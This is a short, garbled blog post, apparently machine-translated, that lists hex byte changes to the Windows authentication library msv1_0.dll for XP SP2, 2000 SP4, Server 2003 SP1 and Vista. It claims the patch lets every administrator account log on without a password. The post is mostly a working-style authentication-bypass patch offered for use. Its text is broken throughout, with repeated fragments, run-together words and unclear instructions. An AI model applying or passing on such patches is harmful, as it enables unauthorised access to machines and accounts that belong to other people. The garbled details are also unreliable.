Comments: 7jdg's blog. This is a long-haired blog .... the genie also wrote a exploitation tool and couldn't find it. add it back .. in ystem32, msv1_0.dllxp sp2F8 10 75 11 B0 01 8B 4D is changed to E0 00 75 11 B0 01 8B 4D2k 1_sinalf8 10 0F 84 71 FF is changed to E0 00 0F 84 717jdg's blog this stuff is getting too long, put it out .... the genie also wrote a exploitation tool and couldn't find it. add it back .. msv1_0.dllxp sp2 in ystem32
F8 10 75 11 B0 01 8B 4D
Change
E0 00 75 11 B0 01 8B 4D2k 1_sinal
F8 10 0F 84 71 FF
Change
E0 00 0F 84 71 FF FF2k sp4
F8 10 75 11 b0 01 8b 4D
Change
E0 00 75 11 b0 01 8b 4D2003 sp1
F8 10 0F 84 D0 B8 FF
Change
E0 00 0F 84 D0 B8 FF FFvista rtm
F8 10 75 13 B0 01 8B 4D
Change
E0 00 75 13 B0 01 8B 4D is the first two bytes changed
E0 00 all administrator accounts do not need a password to log on
Msv1_0.dll, which includes two directories for remote login, is in hexadecimal format.
Dir/s c: \ windows \ msv1_0.dll